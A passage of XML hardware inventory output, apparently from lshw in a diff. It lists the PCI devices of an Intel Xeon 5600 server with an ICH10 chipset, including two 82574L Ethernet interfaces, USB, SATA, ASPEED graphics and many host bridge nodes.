id="pciexpress" >PCI Express</capability> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="25" /> + <resource type="ioport" value="c000(size=4096)" /> + <resource type="memory" value="f9d00000-f9dfffff" /> + <resource type="ioport" value="c0200000(size=2097152)" /> + </resources> + <node id="network" claimed="true" class="network" handle="PCI:0000:03:00.0"> + <description>Ethernet interface</description> + <product>82574L Gigabit Network Connection</product> + <vendor>Intel Corporation</vendor> + <physid>0</physid> + <businfo>pci@0000:03:00.0</businfo> + <logicalname>eth0</logicalname> + <version>00</version> + <serial>[REMOVED]</serial> + <size units="bit/s">100000000</size> + <capacity>1000000000</capacity> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="autonegotiation" value="on" /> + <setting id="broadcast" value="yes" /> + <setting id="driver" value="e1000e" /> + <setting id="driverversion" value="3.2.6-k" /> + <setting id="duplex" value="full" /> + <setting id="firmware" value="1.8-0" /> + <setting id="latency" value="0" /> + <setting id="link" value="yes" /> + <setting id="multicast" value="yes" /> + <setting id="port" value="twisted pair" /> + <setting id="slave" value="yes" /> + <setting id="speed" value="100Mbit/s" /> + </configuration> + <capabilities> + <capability id="pm" >Power Management</capability> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="msix" >MSI-X</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + <capability id="ethernet" /> + <capability id="physical" >Physical interface</capability> + <capability id="tp" >twisted pair</capability> + <capability id="10bt" >10Mbit/s</capability> + <capability id="10bt-fd" >10Mbit/s (full duplex)</capability> + <capability id="100bt" >100Mbit/s</capability> + <capability id="100bt-fd" >100Mbit/s (full duplex)</capability> + <capability id="1000bt-fd" >1Gbit/s (full duplex)</capability> + <capability id="autonegotiation" >Auto-negotiation</capability> + </capabilities> + <resources> + <resource type="irq" value="0" /> + <resource type="memory" value="f9de0000-f9dfffff" /> + <resource type="ioport" value="cc00(size=32)" /> + <resource type="memory" value="f9ddc000-f9ddffff" /> + </resources> + </node> + </node> + <node id="pci:12" claimed="true" class="bridge" handle="PCIBUS:0000:02"> + <description>PCI bridge</description> + <product>82801JI (ICH10 Family) PCI Express Root Port 6</product> + <vendor>Intel Corporation</vendor> + <physid>1c.5</physid> + <businfo>pci@0000:00:1c.5</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="pcieport" /> + </configuration> + <capabilities> + <capability id="pci" /> + <capability id="pciexpress" >PCI Express</capability> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="26" /> + <resource type="ioport" value="b000(size=4096)" /> + <resource type="memory" value="f9c00000-f9cfffff" /> + <resource type="ioport" value="c0400000(size=2097152)" /> + </resources> + <node id="network" claimed="true" class="network" handle="PCI:0000:02:00.0"> + <description>Ethernet interface</description> + <product>82574L Gigabit Network Connection</product> + <vendor>Intel Corporation</vendor> + <physid>0</physid> + <businfo>pci@0000:02:00.0</businfo> + <logicalname>eth1</logicalname> + <version>00</version> + <serial>[REMOVED]</serial> + <size units="bit/s">1000000000</size> + <capacity>1000000000</capacity> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="autonegotiation" value="on" /> + <setting id="broadcast" value="yes" /> + <setting id="driver" value="e1000e" /> + <setting id="driverversion" value="3.2.6-k" /> + <setting id="duplex" value="full" /> + <setting id="firmware" value="1.8-0" /> + <setting id="latency" value="0" /> + <setting id="link" value="yes" /> + <setting id="multicast" value="yes" /> + <setting id="port" value="twisted pair" /> + <setting id="slave" value="yes" /> + <setting id="speed" value="1Gbit/s" /> + </configuration> + <capabilities> + <capability id="pm" >Power Management</capability> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="msix" >MSI-X</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + <capability id="ethernet" /> + <capability id="physical" >Physical interface</capability> + <capability id="tp" >twisted pair</capability> + <capability id="10bt" >10Mbit/s</capability> + <capability id="10bt-fd" >10Mbit/s (full duplex)</capability> + <capability id="100bt" >100Mbit/s</capability> + <capability id="100bt-fd" >100Mbit/s (full duplex)</capability> + <capability id="1000bt-fd" >1Gbit/s (full duplex)</capability> + <capability id="autonegotiation" >Auto-negotiation</capability> + </capabilities> + <resources> + <resource type="irq" value="0" /> + <resource type="memory" value="f9ce0000-f9cfffff" /> + <resource type="ioport" value="bc00(size=32)" /> + <resource type="memory" value="f9cdc000-f9cdffff" /> + </resources> + </node> + </node> + <node id="usb:3" claimed="true" class="bus" handle="PCI:0000:00:1d.0"> + <description>USB controller</description> + <product>82801JI (ICH10 Family) USB UHCI Controller #1</product> + <vendor>Intel Corporation</vendor> + <physid>1d</physid> + <businfo>pci@0000:00:1d.0</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="uhci_hcd" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="uhci" >Universal Host Controller Interface (USB1)</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="23" /> + <resource type="ioport" value="7800(size=32)" /> + </resources> + </node> + <node id="usb:4" claimed="true" class="bus" handle="PCI:0000:00:1d.1"> + <description>USB controller</description> + <product>82801JI (ICH10 Family) USB UHCI Controller #2</product> + <vendor>Intel Corporation</vendor> + <physid>1d.1</physid> + <businfo>pci@0000:00:1d.1</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="uhci_hcd" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="uhci" >Universal Host Controller Interface (USB1)</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="19" /> + <resource type="ioport" value="7880(size=32)" /> + </resources> + </node> + <node id="usb:5" claimed="true" class="bus" handle="PCI:0000:00:1d.2"> + <description>USB controller</description> + <product>82801JI (ICH10 Family) USB UHCI Controller #3</product> + <vendor>Intel Corporation</vendor> + <physid>1d.2</physid> + <businfo>pci@0000:00:1d.2</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="uhci_hcd" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="uhci" >Universal Host Controller Interface (USB1)</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="18" /> + <resource type="ioport" value="7c00(size=32)" /> + </resources> + </node> + <node id="usb:6" claimed="true" class="bus" handle="PCI:0000:00:1d.3"> + <description>USB controller</description> + <product>82801JI (ICH10 Family) USB UHCI Controller #6</product> + <vendor>Intel Corporation</vendor> + <physid>1d.3</physid> + <businfo>pci@0000:00:1d.3</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="uhci_hcd" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="uhci" >Universal Host Controller Interface (USB1)</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="16" /> + <resource type="ioport" value="8000(size=32)" /> + </resources> + </node> + <node id="usb:7" claimed="true" class="bus" handle="PCI:0000:00:1d.7"> + <description>USB controller</description> + <product>82801JI (ICH10 Family) USB2 EHCI Controller #1</product> + <vendor>Intel Corporation</vendor> + <physid>1d.7</physid> + <businfo>pci@0000:00:1d.7</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="ehci-pci" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="pm" >Power Management</capability> + <capability id="debug" >Debug port</capability> + <capability id="ehci" >Enhanced Host Controller Interface (USB2)</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="23" /> + <resource type="memory" value="f9bf9000-f9bf93ff" /> + </resources> + </node> + <node id="pci:13" claimed="true" class="bridge" handle="PCIBUS:0000:01"> + <description>PCI bridge</description> + <product>82801 PCI Bridge</product> + <vendor>Intel Corporation</vendor> + <physid>1e</physid> + <businfo>pci@0000:00:1e.0</businfo> + <version>90</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <capabilities> + <capability id="pci" /> + <capability id="subtractive_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="ioport" value="9000(size=8192)" /> + <resource type="memory" value="f8f00000-f97fffff" /> + </resources> + <node id="display" claimed="true" class="display" handle="PCI:0000:01:01.0"> + <description>VGA compatible controller</description> + <product>ASPEED Graphics Family</product> + <vendor>ASPEED Technology, Inc.</vendor> + <physid>1</physid> + <businfo>pci@0000:01:01.0</businfo> + <version>10</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="ast" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="pm" >Power Management</capability> + <capability id="vga_controller" /> + <capability id="cap_list" >PCI capabilities listing</capability> + <capability id="rom" >extension ROM</capability> + </capabilities> + <resources> + <resource type="irq" value="17" /> + <resource type="memory" value="f9000000-f97fffff" /> + <resource type="memory" value="f8fe0000-f8ffffff" /> + <resource type="ioport" value="9000(size=128)" /> + </resources> + </node> + <node id="ide" class="storage" handle="PCI:0000:01:04.0"> + <description>IDE interface</description> + <product>IT8213 IDE Controller</product> + <vendor>Integrated Technology Express, Inc.</vendor> + <physid>4</physid> + <businfo>pci@0000:01:04.0</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="64" /> + <setting id="maxlatency" value="8" /> + <setting id="mingnt" value="8" /> + </configuration> + <capabilities> + <capability id="ide" /> + <capability id="pm" >Power Management</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="ioport" value="ac00(size=8)" /> + <resource type="ioport" value="a880(size=4)" /> + <resource type="ioport" value="a800(size=8)" /> + <resource type="ioport" value="a480(size=4)" /> + <resource type="ioport" value="a400(size=16)" /> + </resources> + </node> + </node> + <node id="isa" claimed="true" class="bridge" handle="PCI:0000:00:1f.0"> + <description>ISA bridge</description> + <product>82801JIR (ICH10R) LPC Interface Controller</product> + <vendor>Intel Corporation</vendor> + <physid>1f</physid> + <businfo>pci@0000:00:1f.0</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="isa" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + </node> + <node id="storage" claimed="true" class="storage" handle="PCI:0000:00:1f.2"> + <description>SATA controller</description> + <product>82801JI (ICH10 Family) SATA AHCI Controller</product> + <vendor>Intel Corporation</vendor> + <physid>1f.2</physid> + <businfo>pci@0000:00:1f.2</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">66000000</clock> + <configuration> + <setting id="driver" value="ahci" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="storage" /> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pm" >Power Management</capability> + <capability id="ahci_1.0" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="49" /> + <resource type="ioport" value="8080(size=8)" /> + <resource type="ioport" value="8880(size=4)" /> + <resource type="ioport" value="8800(size=8)" /> + <resource type="ioport" value="8480(size=4)" /> + <resource type="ioport" value="8400(size=32)" /> + <resource type="memory" value="f9bfa000-f9bfa7ff" /> + </resources> + </node> + <node id="serial" claimed="true" class="bus" handle="PCI:0000:00:1f.3"> + <description>SMBus</description> + <product>82801JI (ICH10 Family) SMBus Controller</product> + <vendor>Intel Corporation</vendor> + <physid>1f.3</physid> + <businfo>pci@0000:00:1f.3</businfo> + <version>00</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="i801_smbus" /> + <setting id="latency" value="0" /> + </configuration> + <resources> + <resource type="irq" value="22" /> + <resource type="memory" value="f9bfb000-f9bfb0ff" /> + <resource type="ioport" value="400(size=32)" /> + </resources> + </node> + </node> + <node id="pci:1" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series QuickPath Architecture Generic Non-core Registers</product> + <vendor>Intel Corporation</vendor> + <physid>101</physid> + <businfo>pci@0000:fe:00.0</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:2" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series QuickPath Architecture System Address Decoder</product> + <vendor>Intel Corporation</vendor> + <physid>102</physid> + <businfo>pci@0000:fe:00.1</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:3" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series QPI Link 0</product> + <vendor>Intel Corporation</vendor> + <physid>103</physid> + <businfo>pci@0000:fe:02.0</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:4" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series QPI Physical 0</product> + <vendor>Intel Corporation</vendor> + <physid>104</physid> + <businfo>pci@0000:fe:02.1</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:5" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Mirror Port Link 0</product> + <vendor>Intel Corporation</vendor> + <physid>105</physid> + <businfo>pci@0000:fe:02.2</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:6" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Mirror Port Link 1</product> + <vendor>Intel Corporation</vendor> + <physid>106</physid> + <businfo>pci@0000:fe:02.3</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:7" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series QPI Link 1</product> + <vendor>Intel Corporation</vendor> + <physid>107</physid> + <businfo>pci@0000:fe:02.4</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:8" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series QPI Physical 1</product> + <vendor>Intel Corporation</vendor> + <physid>108</physid> + <businfo>pci@0000:fe:02.5</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:9" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Registers</product> + <vendor>Intel Corporation</vendor> + <physid>109</physid> + <businfo>pci@0000:fe:03.0</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:10" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Target Address Decoder</product> + <vendor>Intel Corporation</vendor> + <physid>10a</physid> + <businfo>pci@0000:fe:03.1</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:11" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller RAS Registers</product> + <vendor>Intel Corporation</vendor> + <physid>10b</physid> + <businfo>pci@0000:fe:03.2</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:12" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Test Registers</product> + <vendor>Intel Corporation</vendor> + <physid>10c</physid> + <businfo>pci@0000:fe:03.4</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:13" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 0 Control</product> + <vendor>Intel Corporation</vendor> + <physid>10d</physid> + <businfo>pci@0000:fe:04.0</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:14" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 0 Address</product> + <vendor>Intel Corporation</vendor> + <physid>10e</physid> + <businfo>pci@0000:fe:04.1</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:15" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 0 Rank</product> + <vendor>Intel Corporation</vendor> + <physid>10f</physid> + <businfo>pci@0000:fe:04.2</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:16" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 0 Thermal Control</product> + <vendor>Intel Corporation</vendor> + <physid>110</physid> + <businfo>pci@0000:fe:04.3</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:17" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 1 Control</product> + <vendor>Intel Corporation</vendor> + <physid>111</physid> + <businfo>pci@0000:fe:05.0</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:18" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 1 Address</product> + <vendor>Intel Corporation</vendor> + <physid>112</physid> + <businfo>pci@0000:fe:05.1</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:19" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 1 Rank</product> + <vendor>Intel Corporation</vendor> + <physid>113</physid> + <businfo>pci@0000:fe:05.2</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:20" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 1 Thermal Control</product> + <vendor>Intel Corporation</vendor> + <physid>114</physid> + <businfo>pci@0000:fe:05.3</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:21" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 2 Control</product> + <vendor>Intel Corporation</vendor> + <physid>115</physid> + <businfo>pci@0000:fe:06.0</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:22" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 2 Address</product> + <vendor>Intel Corporation</vendor> + <physid>116</physid> + <businfo>pci@0000:fe:06.1</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:23" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 2 Rank</product> + <vendor>Intel Corporation</vendor> + <physid>117</physid> + <businfo>pci@0000:fe:06.2</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:24" claimed="true" class="bridge" handle="PCIBUS:0000:fe"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 2 Thermal Control</product> + <vendor>Intel Corporation</vendor> + <physid>118</physid> + <businfo>pci@0000:fe:06.3</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:25" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series QuickPath Architecture Generic Non-core Registers</product> + <vendor>Intel Corporation</vendor> + <physid>119</physid> + <businfo>pci@0000:ff:00.0</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:26" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series QuickPath Architecture System Address Decoder</product> + <vendor>Intel Corporation</vendor> + <physid>11a</physid> + <businfo>pci@0000:ff:00.1</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:27" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series QPI Link 0</product> + <vendor>Intel Corporation</vendor> + <physid>11b</physid> + <businfo>pci@0000:ff:02.0</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:28" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series QPI Physical 0</product> + <vendor>Intel Corporation</vendor> + <physid>11c</physid> + <businfo>pci@0000:ff:02.1</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:29" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Mirror Port Link 0</product> + <vendor>Intel Corporation</vendor> + <physid>11d</physid> + <businfo>pci@0000:ff:02.2</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:30" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Mirror Port Link 1</product> + <vendor>Intel Corporation</vendor> + <physid>11e</physid> + <businfo>pci@0000:ff:02.3</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:31" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series QPI Link 1</product> + <vendor>Intel Corporation</vendor> + <physid>11f</physid> + <businfo>pci@0000:ff:02.4</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:32" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series QPI Physical 1</product> + <vendor>Intel Corporation</vendor> + <physid>120</physid> + <businfo>pci@0000:ff:02.5</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:33" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Registers</product> + <vendor>Intel Corporation</vendor> + <physid>121</physid> + <businfo>pci@0000:ff:03.0</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:34" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Target Address Decoder</product> + <vendor>Intel Corporation</vendor> + <physid>122</physid> + <businfo>pci@0000:ff:03.1</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:35" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller RAS Registers</product> + <vendor>Intel Corporation</vendor> + <physid>123</physid> + <businfo>pci@0000:ff:03.2</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:36" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Test Registers</product> + <vendor>Intel Corporation</vendor> + <physid>124</physid> + <businfo>pci@0000:ff:03.4</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:37" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 0 Control</product> + <vendor>Intel Corporation</vendor> + <physid>125</physid> + <businfo>pci@0000:ff:04.0</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:38" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 0 Address</product> + <vendor>Intel Corporation</vendor> + <physid>126</physid> + <businfo>pci@0000:ff:04.1</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:39" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 0 Rank</product> + <vendor>Intel Corporation</vendor> + <physid>127</physid> + <businfo>pci@0000:ff:04.2</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:40" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 0 Thermal Control</product> + <vendor>Intel Corporation</vendor> + <physid>128</physid> + <businfo>pci@0000:ff:04.3</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:41" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 1 Control</product> + <vendor>Intel Corporation</vendor> + <physid>129</physid> + <businfo>pci@0000:ff:05.0</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:42" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 1 Address</product> + <vendor>Intel Corporation</vendor> + <physid>12a</physid> + <businfo>pci@0000:ff:05.1</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:43" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 1 Rank</product> + <vendor>Intel Corporation</vendor> + <physid>12b</physid> + <businfo>pci@0000:ff:05.2</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:44" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 1 Thermal Control</product> + <vendor>Intel Corporation</vendor> + <physid>12c</physid> + <businfo>pci@0000:ff:05.3</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:45" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 2 Control</product> + <vendor>Intel Corporation</vendor> + <physid>12d</physid> + <businfo>pci@0000:ff:06.0</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:46" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 2 Address</product> + <vendor>Intel Corporation</vendor> + <physid>12e</physid> + <businfo>pci@0000:ff:06.1</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:47" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 2 Rank</product> + <vendor>Intel Corporation</vendor> + <physid>12f</physid> + <businfo>pci@0000:ff:06.2</businfo> + <version>02</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="pci:48" claimed="true" class="bridge" handle="PCIBUS:0000:ff"> + <description>Host bridge</description> + <product>Xeon 5600 Series Integrated Memory Controller Channel 2 Thermal Control</product> + <vendor>Intel Corporation</vendor> + <physid>130</physid> + <businfo>pci@0000:ff:06.3</businfo> + <version>02</version> + <width 